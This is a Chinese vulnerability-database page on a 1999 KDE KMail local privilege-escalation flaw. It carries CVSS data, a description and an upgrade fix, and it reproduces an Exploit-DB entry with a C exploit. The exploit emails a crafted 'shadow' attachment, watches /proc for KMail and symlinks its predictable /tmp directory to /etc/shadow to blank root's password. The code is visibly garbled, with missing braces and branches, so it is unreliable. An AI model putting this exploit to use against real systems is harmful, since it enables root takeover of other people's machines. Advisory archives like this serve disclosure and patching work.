发布时间 :2000-01-04 00:00:00
修订时间 :2008-09-09 08:35:18

[原文]KDE K-Mail allows local users to gain privileges via a symlink attack in temporary user directories.

[CNNVD]KDE K-Mail特权提升漏洞(CNNVD-200001-012)

        KDE K-Mail存在漏洞。本地用户可以借助临时用户目录中的符号链接攻击提升特权。

- CVSS (基础分值)

CVSS分值: 4.6 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(PATCH)  BID  300
(UNKNOWN)  REDHAT  RHSA-1999:015-01

- 漏洞信息

KDE K-Mail特权提升漏洞
中危 未知
2000-01-04 00:00:00 2005-10-21 00:00:00
        KDE K-Mail存在漏洞。本地用户可以借助临时用户目录中的符号链接攻击提升特权。

- 公告与补丁


- 漏洞信息 (19240)

Caldera kdenetwork 1.1.1 -1,Caldera OpenLinux 1.3/2.2,KDE KDE 1.1/1.1.1, RedHat Linux 6.0 K-Mail File Creation Vulnerability (EDBID:19240)
linux local
1999-06-09 Verified
0 Brian Mitchell
N/A [点击下载]

KMail is a mail user agent that comes with the kdenetwork package, part of the K Desktop Environment. A vulnerability in the way KMail creates temporary files to save attachments may allow malicious users to overwrite any file that user running KMail has permissions to.

When viewing messages with attachments KMail creates a directory under /tmp in which to store the attachments with a predictable name of the form "kmail<pid of kmail>". KMail fails to verify whether the directory exists and follows symbolic links. This allows local attackers to create or overwrite files with contents they can select in any directory and/or file writable by the user running KMail.


KDE, kmail local email-attachment symlink exploit - possible root comprimise.

Discovered/coded by: DiGiT -

This sploit simply sends an email to somedude@somehost with an attachment on it
that contains a fixed 'shadow' file that set's no password for root, change
that if you need to.

It then scans /proc for a kmail process and when a kmail process starts it
will create /tmp/kmail`pidof kmail` and therein the dir part2 and a symlink
to /etc/shadow.

Then when root or whatever checks his mail the attachment, get's written over
/etc/shadow, setting it so that root has no password so u can su - to get root
privs. (Note: some probs with this because it writes the contents of 'shadow'
attachment directly onto the shadow file itself, and might not erase the line
completly, i'l fix this, later)

Run this sploit with nohup or screen or smt.

Greets, #hax (ircnet!)
special greets, p0rtal(transmit, etc), icemav, cookie, crazy-b.

ps: Visit haxforce rc5 cracking team! :>
if you have serious CPU power, join us#%# :>

ps ps: Besides that fact I am very angry atm, and not very happy with life,
I'd like to note that this kmail crap is UNBELIVABLE buggy and this bug is
only an example of multiple bugs that exist within kmail code, possible remote
comprise is also a possibility but, I hate everything so I wont go into that
- DiGiT


#include <stdio.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <stdarg.h>

#define DELAY 1 // secs, watch it here..

void scan_processes();
void find_processes();

char username[20];
char hostname[256];
char sockbuff[2048];

static int sockfd;
struct sockaddr_in in_addr;

void transmit(char *format, ...)
   va_list va;

   va_start (va, format);
   vsnprintf (sockbuff, sizeof(sockbuff), format, va);
   va_end (va);
   strcat (sockbuff, "\r\n");

   if ( (write (sockfd, sockbuff, strlen(sockbuff))) < 0)
      fprintf (stderr, "ERROR: Could not WRITE to socket %d!", sockfd);
   memset (sockbuff, '\0', sizeof(sockbuff));


void create_dirs(char *directory) {

        char filename[1024];

        printf("creating dir & symlink..\n");
   snprintf (filename, sizeof(filename)-1, "/tmp/kmail%s", directory);

                mkdir(filename, 0777);
                mkdir("part2", 0777);

                        symlink("/etc/shadow", "shadow");



void send_mail()        {

        struct hostent *he;

        if ((he=gethostbyname(hostname)) == NULL) {

        in_addr.sin_family = AF_INET;
        in_addr.sin_port = htons(25);
        in_addr.sin_addr = *((struct in_addr *)he->h_addr);
        bzero(&(in_addr.sin_zero), 8);
        if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
        if(connect(sockfd, (struct sockaddr *)&in_addr, sizeof(in_addr)) < 0){
    transmit ("EHLO");
    transmit ("MAIL FROM:");
    transmit ("RCPT TO: %s@%s", username, hostname);
    transmit ("DATA");

    transmit ("From: <>");
    transmit ("X-Sender: root@killer");
    transmit ("To: %s@%s", username, hostname);
    transmit ("Subject: test");
    transmit ("Message-ID: <kmail.9905122356390.190-200000@killer>");
    transmit ("MIME-Version: 1.0");
    transmit ("Content-Type: MULTIPART/MIXED; BOUNDARY=\"0-821493994-926553406=:190\"");
    transmit (""); //blah :>
    transmit ("  This message is in MIME format.  The first part should be readable text,");
    transmit ("  while the remaining parts are likely unreadable without MIME-aware tools.");
    transmit ("  Send mail to for more info.");
    transmit ("");
    transmit ("--0-821493994-926553406=:190");
    transmit ("Content-Type: TEXT/PLAIN; charset=US-ASCII");
    transmit ("\n"); //three
    transmit ("--0-821493994-926553406=:190");
    transmit ("Content-Type: TEXT/PLAIN; charset=US-ASCII; name=shadow");
    transmit ("Content-Transfer-Encoding: BASE64");
    transmit ("Content-ID: <kmail.9905122356460.190@killer>");
    transmit ("Content-Description:");
    transmit ("Content-Disposition: attachment; filename=shadow");
    transmit ("");
    transmit ("cm9vdDo6MTA2OTU6MDo6Ojo6"); // this needs work.. I hate all.
    transmit ("--0-821493994-926553406=:190--");
    transmit (".");
    transmit ("QUIT");
                printf("sent the data.. find the process..\n");
 void  find_processes() {
           struct dirent **namelist;
           int n;
 while(1) {
           n = scandir("/proc", &namelist, 0, alphasort);
           if (n < 0)
        while(n--) scan_processes(namelist[n]->d_name);

void scan_processes(char *dir) {

                struct stat fbuf;
                char buffer[1024];
                char buffer2[1024];
                FILE  *fd;

   memset (buffer2, '\0', sizeof(buffer2));
   snprintf (buffer2, sizeof(buffer2), "/proc/%s", dir);

                if(chdir(buffer2) == -1)
                        return ;

        if(stat("cmdline", &fbuf) == -1)
                        return ;

        fd = fopen("cmdline", "r");

        fgets(buffer, sizeof(buffer), fd);
                if(!strncmp(buffer, "kmail", sizeof(buffer)) > 0) {

                        printf("Yay! Found Kmail process #%s\n", dir);
                        printf("Lets set up the proper symlinks etc.\n");
int main(char argc, char *argv[])       {
if(argc < 2) {
        fprintf(stderr, "\n[Kde Kmail email-attachment symlink race exploit, by DiGiT -]\n");
        fprintf(stderr, "[Syntax is: %s user host : ie %s root]\n", argv[0], argv[0]);
        fprintf(stderr, "[Make sure you hit the right email address]\n\n");

        strncpy(username, argv[1], sizeof(username));
        strncpy(hostname, argv[2], sizeof(hostname));
                printf("starting the attack...\n");


- 漏洞信息

KDE KMail Local Symlink Privilege Escalation
Local Access Required Race Condition
Loss of Integrity Upgrade
Exploit Public

- 漏洞描述

KDE Kmail contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when Kmail creates unsafe temporary files to save attachments in the "/tmp" directory, which will allow a local attacker to create or overwrite files with contents they can select in any directory and/or file writable by the user running KMail. By compromising the UID of another Kmail user, a local attacker can escalate their privileges.

- 时间线

1999-06-21 Unknow
1999-06-21 Unknow

- 解决方案

Upgrade to version 1.1.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete